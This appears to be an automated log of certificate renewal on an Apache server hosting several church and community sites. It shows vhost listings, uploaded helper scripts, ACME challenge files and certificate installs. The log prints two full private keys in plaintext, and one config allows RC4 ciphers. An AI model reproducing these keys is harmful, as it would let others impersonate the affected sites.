port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-14 06:00:49:
PUT: /tmp/pkp107049
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/bible-basics_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-14 06:00:49:
chmod 755 /tmp/pkp107049; /tmp/pkp107049; rm /tmp/pkp107049
2025-12-14 06:00:49:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bible-basics_www_info.conf 1420
<VirtualHost *:80>
ServerName bible-basics.info
ServerAlias www.bible-basics.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/bible-basics_www
<Directory /var/www/bible-basics_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bible-basics/www_access.log combined
ErrorLog /var/log/apache2/bible-basics/www_error.log
SetEnv pkp_uid 48
SetEnv pkp_owner bible-basics
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName bible-basics.info
ServerAlias www.bible-basics.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt
DocumentRoot /var/www/bible-basics_www
<Directory /var/www/bible-basics_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bible-basics/www_secure_access.log combined
ErrorLog /var/log/apache2/bible-basics/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-14 06:00:49:
PUT: /tmp/pkp482053
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-14 06:00:49:
chmod 755 /tmp/pkp482053; /tmp/pkp482053; rm /tmp/pkp482053
2025-12-14 06:00:49:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/f032ab15fc1dc16ec38ee94209bcf74e.crt 5386
20:4d:20:d9:c2:0f:b5:e5:71:42:e3:78:8a:4d:ad:2b
-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBVcXg46sTQLpUShfbTcA1Pz9MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjE0MDUwMjE3WhcNMjYwMzE0MDUwMjE2WjAcMRowGAYDVQQD
ExFiaWJsZS1iYXNpY3MuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAK/AHik9Zpkz3w0D1aUgOXKzd9C7JdrkajN5VcIcX2b+qmkl2Ux0/Tk++Bcg
rc1py1Y3R38QspbA9a6MsRiVfbzY9OXgKZsyCn02i78Di9+eiz2haMs82KftPjOn
BuxlFehGvFd8RTaJY7z4mmg9h9jDPhkc/+EAgm+TbBokYJrjg5fw1bKiFz9TGew2
yxXoKafDP/DatN9OGjFUcByv4o1biR+Fb72xkRpIA0hf4YJUiNLgqeydpxnFyYDd
ZkOaFTxdXbEpONIlzBqqYXuQVWUGlQKYZ5plMZacLwBoQZD/mxJgfX4/eCTBmiig
nN+cv9YShpkL/u+Fdx9o8aVjDf8CAwEAAaOCAjkwggI1MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUG3T2MHiM63f0TuuZ6pB3zMBfVoAwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFiaWJsZS1iYXNpY3MuaW5m
b4IVd3d3LmJpYmxlLWJhc2ljcy5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8G
A1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTI2LmNybDCC
AQQGCisGAQQB1nkCBAIEgfUEgfIA8AB2ABaDLavwqSUPD/A6pUX/yL/II9CHS/YE
KSf45x8zE/X6AAABmxtygN0AAAQDAEcwRQIgcv8kb4ZZx4EQbtT60Q5SZ9i943vs
5y5jUVHbolp6fFICIQDt0K/niaZDC3jCJ0uPggRQIs4IEzVGCGWkF9LYHZqPzgB2
AJaXZL9VWJet90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABmxtygQMAAAQDAEcw
RQIhAL5kI603Jzmng7sbxI72lw5VWfTPiiZ5Rawzru8Yd/7oAiBtyiqYyVMcxKJ4
+O0IXMNOI9cq0g8kUCfWdcFk9qSeWTANBgkqhkiG9w0BAQsFAAOCAQEAXrzWYfSb
XO7axSqJHj99ZOpoQ5NxswYyyxa8PdSyB4nkdNFyg/2mszET3BrpmVMaiEAQO5qB
46DvRr14nqSoRasIxgs/LVgeDecVRMehJxU0c1GUxtaFvrloS8JCK8GmsA4hE4yZ
N6dWwraKdN+OEofjUdPhHadUGLEEB+b6NS1Z3A6s0gvW7PkLwQuv0zwecvMRSE5s
L05tH8fcjy8OdZU5c5TRAL1yZIbAZIJ8f4mlQdKIyS2P9NpNa/cdojrsBA37FxDl
/yH7YmGA3kg58AXXTZdvSmmKGofUVzOgHaRnrVRyM6UZ9SdDPlbBJpR1dvxOIm22
H2Sjv6cv1tH2jA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCvwB4pPWaZM98N
A9WlIDlys3fQuyXa5GozeVXCHF9m/qppJdlMdP05PvgXIK3NactWN0d/ELKWwPWu
jLEYlX282PTl4CmbMgp9Nou/A4vfnos9oWjLPNin7T4zpwbsZRXoRrxXfEU2iWO8
+JpoPYfYwz4ZHP/hAIJvk2waJGCa44OX8NWyohc/UxnsNssV6Cmnwz/w2rTfThox
VHAcr+KNW4kfhW+9sZEaSANIX+GCVIjS4KnsnacZxcmA3WZDmhU8XV2xKTjSJcwa
qmF7kFVlBpUCmGeaZTGWnC8AaEGQ/5sSYH1+P3gkwZoooJzfnL/WEoaZC/7vhXcf
aPGlYw3/AgMBAAECggEAc2QLKX6D33C8MRpkan9G2LVWpHhLuXUg+Vzf3ousY74u
+sx76IQjQjPCxcSR+H1OoPO4gIfhCbP1Wr5LBF4aaSR1XnyYNKpdUqq+hBJ7Ar5g
o31XhaEUiuTsYxN2Kz2PbasLu9D+zHjWQFtlXa2QhNRj8C8nHX6tJT7AykU6HFbP
vLsncm5YzoH+L5bYL24gwJz7SpthYEo+kU9jKDohTAVHaweV0N5QpVbFHQC8XYHu
PTFaibcg5poWw327LX/cEUOwrK7Y9bfxW0s4NyD7Hea+NjvQR1bnp9GMLpRFoymp
hRwhfqy12g8lAacCIBLoXiWSR9BELxJqvIwy8lWY8QKBgQDf8ZI8KFeskZrKt6Cb
LRmenXv8L0gxzrotd8vShdOMBoJJCXoSHDShrwpVtJH1NNNxBzWj0luG16VGUljA
VvbvmkMy4CAQZ4TZ88pIfJVaQIJAmuZWiVQgLSLxaB8XIRVijeHVN55c6WDqAaEr
Pghk11nM7swX6CC6UK81inuCiQKBgQDI6IEqSBF8GXpiFGNO/mhRcd9KzYJIKrpg
hB6ZXhI8tINtMXWl6gwL/AHORuuSs8MZEvBzKv8EqQj/eADNxEIKz+62b8bONQrX
Fhamu/hkPCGXbpdC3/DVcuoJZjxxyueIkzdBCq/n0WTMfatxzZ+Px0deCnMLToik
zTVzgaSKRwKBgF0Vg4xf1HmVmDrU8vwtVe3ZVhTv7llNrZOCrQUXvWQBvJvxRX1L
nhDquif/w3+h8pWTwpcStBqrfjZpuhxQyZm0jGQURx+qd81EiXtx1X7LO5jxCfdE
Y+Rv/otLlUi+5q2tfgZrdPb3xuHdxYk84q5P2TLWu5zgTuJC8WEW69nJAoGAYkUX
qM7HfqQXsJG4YZMfA3dnePc8moAL2dnF/c59rSO+hVKD8Tuh2NrTJ0qZP5CeBU22
Px7wzh7AP/U6r2snwpIieSoDXCmlu78aJUQcIysmYyO86QEQk9c5ko9nUWGmDq+z
fyTzFbjeTQfLLEcfnPwkdGM4Ene/bpzRYEYxbVECgYEApjd48AfvaWoybJzWNz+A
WH/4+BsHbL424BtzH6Oy2bTn7dDfj4MBWv+bxtWjAzXMZYW53qgNtTBflGkq+Ehv
pOlQLU6qRi+cL5dYvzInpvlvGcwPGRB8xkEL/5trV2vsjayvxO/DeujsklEhPhhv
q0T43Xu1lHn+iMPQjCeA/tk=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-12-14 06:00:49: Establishing a connection
2025-12-14 06:00:49: Establishing a connection
2025-12-14 06:00:49:
PUT: /tmp/pkp726753
#!/bin/bash
if [ -d "/var/www/carelinksaustralia_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-14 06:00:49:
chmod 755 /tmp/pkp726753; /tmp/pkp726753; rm /tmp/pkp726753
2025-12-14 06:00:49:
1
2025-12-14 06:00:50: Establishing a connection
2025-12-14 06:00:50:
PUT: /tmp/pkp781804
#!/bin/bash
mkdir -p "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cd "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cat > 3fx1NCnrrOzePTzkXVdOA4wsV--kPKA6efLw-2LQlEc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
3fx1NCnrrOzePTzkXVdOA4wsV--kPKA6efLw-2LQlEc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 3fx1NCnrrOzePTzkXVdOA4wsV--kPKA6efLw-2LQlEc
cat > W11MTxDExUaLKsRTZ3p5dCBACqXmylPA-7z_ai_FEjU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
W11MTxDExUaLKsRTZ3p5dCBACqXmylPA-7z_ai_FEjU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 W11MTxDExUaLKsRTZ3p5dCBACqXmylPA-7z_ai_FEjU
2025-12-14 06:00:50:
chmod 755 /tmp/pkp781804; /tmp/pkp781804; rm /tmp/pkp781804
2025-12-14 06:00:50:
2025-12-14 06:01:04: Establishing a connection
2025-12-14 06:01:04:
PUT: /tmp/pkp286874
#!/bin/bash
mkdir -p "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cd "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
rm 3fx1NCnrrOzePTzkXVdOA4wsV--kPKA6efLw-2LQlEc
rm W11MTxDExUaLKsRTZ3p5dCBACqXmylPA-7z_ai_FEjU
2025-12-14 06:01:04:
chmod 755 /tmp/pkp286874; /tmp/pkp286874; rm /tmp/pkp286874
2025-12-14 06:01:04:
2025-12-14 06:01:04: Establishing a connection
2025-12-14 06:01:04:
PUT: /tmp/pkp390984
#!/bin/bash
temp_file=$(mktemp)
TARGET=01bea5c16e52f9c5f2fcf9fea9a569f2.crt
cat > $temp_file <<'endmsg'
fa:0d:52:84:eb:d8:65:cb:86:76:29:ea:cd:ba:b3:ca
-----BEGIN CERTIFICATE-----
MIIFJzCCBA+gAwIBAgISBWXn8CFBYYE2X2pDol8HCQCKMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE0MDUwMjM0WhcNMjYwMzE0MDUwMjMzWjAiMSAwHgYDVQQD
ExdjYXJlbGlua3NhdXN0cmFsaWEuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAJThY5V9yHeTa42f8ezd+svipBbqPi+e4c1y/TS1+ejOphwt1FOK
8crDibHr0lipDa8kH/vQMSDCA6mt7/LPodB29mqr3vtsuhA3B3fjoVUPcTHl49NS
LjdFd2FHLcg8JC3a0pPzQ8fH4XNd7VVCJqmDmDOv12YfSYhhg7eQy9oFF3ughkAz
X1zN2GOC0SXDRmrDO+TiJKmpnRjxSmfUKgd00/pRy2vb/0u5R/Ah3JIi2WlsWEWl
XXaReT9uh8qYE8bRuaeCsV3q2wQfX9mLnvwQn32Kg/+CO0+qNLrY88uI9wrLbiqZ
HVtDx1kvoRWNLwvTwupCPrEGpvc30rd1bHECAwEAAaOCAkQwggJAMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUasN9M7PDiJOhJBgKJ8nkJBKZ540wHwYDVR0jBBgwFoAU
56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzA/BgNVHREEODA2ghdjYXJlbGlua3Nh
dXN0cmFsaWEuaW5mb4Ibd3d3LmNhcmVsaW5rc2F1c3RyYWxpYS5pbmZvMBMGA1Ud
IAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5s
ZW5jci5vcmcvMTEuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAZBHEbKQS
7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGbG3LBjgAABAMARzBFAiEAqOZM
vIJ+LA1dwKPOEtYweXxlX7VUTKDTDPXv6XkuVyMCIG0Eje5zgNWmcKVXb8m0CI5t
XA3QImANh+xLNpK4uLUwAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMU
WOcAAAGbG3LBpwAABAMARzBFAiBva4YiU4L0+WKbNJogQ2LRn08la2LLkOdjhdT4
TbWsIwIhAIlYBgRTtysQ0vERN5/3FCLFRSA+Wqh7Xg6APmOzhHf/MA0GCSqGSIb3
DQEBCwUAA4IBAQCA6mNlQRO8S5axZeDUM0Mf9wrqb04enHXNs65UxwlMYrkb0lKE
CihuSC2ofACkAjnTTSB678q3prwF49VcakeXYm10JmTwSQeSJsuwg/NVE+7EMpEy
fhtkIbZU2xJeB+falbBuTdIbxdUYkqu6Od+IqBhmS44KrcKPpXp+gAJSVRV8oQZe
hGYvOqnKmBbsphujaPLtPjRtuUhJV5W0K9ehKsn+4HC3bM/NNt4lxbFgfaeCccCk
bgTSGIwgL0VnwSYO74Ef99q+S0USj0GOpEhGhww/hP/pwugbDctxkOsrAhwkpwwq
k2NO2C9c3Qlr50e3/njeLPszeRTCOoNBgj0u
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCU4WOVfch3k2uN
n/Hs3frL4qQW6j4vnuHNcv00tfnozqYcLdRTivHKw4mx69JYqQ2vJB/70DEgwgOp
re/yz6HQdvZqq977bLoQNwd346FVD3Ex5ePTUi43RXdhRy3IPCQt2tKT80PHx+Fz
Xe1VQiapg5gzr9dmH0mIYYO3kMvaBRd7oIZAM19czdhjgtElw0Zqwzvk4iSpqZ0Y
8Upn1CoHdNP6Uctr2/9LuUfwIdySItlpbFhFpV12kXk/bofKmBPG0bmngrFd6tsE
H1/Zi578EJ99ioP/gjtPqjS62PPLiPcKy24qmR1bQ8dZL6EVjS8L08LqQj6xBqb3
N9K3dWxxAgMBAAECggEAdYKxJ31wjXE+ozprqZpMKkFpYuzgyJWPhKoOUVyRNMBn
PDawMICq+G/+bwDDtlc5BdRtqkRZgpGgcn1nty9LeU9skCW4ipr3AXVt36M74/ec
UNYzTMjA0b9yysVzzWgq5kahj0WjajzKJlUszu63tXS43ZMdYO2xDIRrgqg3Po0y
GM48OGu1JFvFOtAtp4cFcSUQbuEe05oKn0z4E11OnfBSY5LxeZ972kDjzzOGDxMC
y54GwzOgyZG1/ImN1Xhu8RMoZiY4+zuEe3E2ZjjXMZFcaKcYIHEsAafYkj4+fbS9
xok+3IDcQGRvXHszS7zZWW5wTH65SMhOYkQ0LO53AQKBgQDE90S98RaonoR68/LJ
Yr3qMGwlgrATBhzYY9PgCfeQj5+JgrfQPAud7c/TiN9eqHP2mfeqko+IM54nsWOC
DfUjDVrltAxkVuZO8C3cUgnpfdLe1pw6JBTLiPSsLQQ67CittSXynoLbpPt8j90Z
hcbwXa72FFtFPnvwp6ojaIg2zQKBgQDBgKKgcmOEEMqLfOr4XLFclVlgPgBGHTX9
/XNzjN66Rgg0RsxRHia+Ct1ZZr+TW9IdBFiixCMx/8piCJ8LSNbc4a3QQzTmUb6h
L3iXcl5TpmyPWbWrIuJUNNWNVZO1fNsfT8CJYDh/8aqjoCyFyQX2Ws3jRQBdGipP
enVDsUJkNQKBgQCAieG5lykzV2ebmbH6zM6lk34wKI5hi96tNNCjZ73BAImbwsvU
QCtQoE69fJhQ/NvYtfgTv9udhhoTS0dmK1erzV5hg1OG89MO9tzm6D8BupQvypxf
sQZFIZaS+jnFfjK50fr2z40UbCGW04f1zQDcAjdY7kX19WYK0lBNFT23jQKBgQCt
P3Pbva72DmaaTwS9y5gM8bbs4XYzUHIH70XP/h9onc04qO7D7f/4BRg7tC/wSrSr
wDlvubZdTMyxy1BCtTuS1gheP938HNJV1H/e8ModkRL/oe1yxS/o/sj42tb+FkTG
GwyisuDDROdnysAyJFLPSGuwgRYbRZL+SAD305xCxQKBgGWqzuTw5a8QYav/FlHx
aN0dZrWvpodSZIYnXoKqvUcmolAzn7Et11aSU9S+tqk2qV+AcM9RTrSZ76LojNE7
lif5SMQfykXHNFWXvApOPXsvSlCboXX+gzoDUYUO5cOARaREjyEUZGxpwojwCi6y
O0qROnU0ysR45oWcD+AMOuSo
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-14 06:01:04:
chmod 755 /tmp/pkp390984; /tmp/pkp390984; rm /tmp/pkp390984
2025-12-14 06:01:04:
dir=/etc/ssl/certs
2025-12-14 06:01:04:
PUT: /tmp/pkp577814
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
